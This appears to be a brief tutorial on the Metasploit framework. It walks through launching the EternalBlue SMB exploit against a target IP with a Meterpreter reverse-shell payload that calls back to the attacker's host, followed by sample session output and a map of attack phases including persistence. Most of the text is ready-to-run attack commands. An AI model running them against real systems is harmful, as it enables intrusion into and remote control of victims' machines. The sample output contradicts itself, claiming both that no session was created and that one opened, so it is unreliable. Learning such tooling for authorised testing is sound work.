What is Metasploit?
Metasploit is a powerful penetration testing framework used to develop,
test, and execute exploits against vulnerable systems.
It provides payloads, encoders, listeners, and post-exploitation modules.
Typical Exploitation Workflow
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.5
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.10
exploit
Successful Session
[*] Exploit completed, but no session was created.
[*] Meterpreter session 1 opened (192.168.1.10 → 192.168.1.5)
meterpreter > sysinfo
Computer : VICTIM-PC
OS : Windows 10
Architecture : x64
Attack Phase Mapping
[ Exploitation ] → Launch vulnerability-specific modules
[ Payload Delivery ] → Reverse shells, Meterpreter
[ Post-Exploitation ] → Privilege escalation, persistence
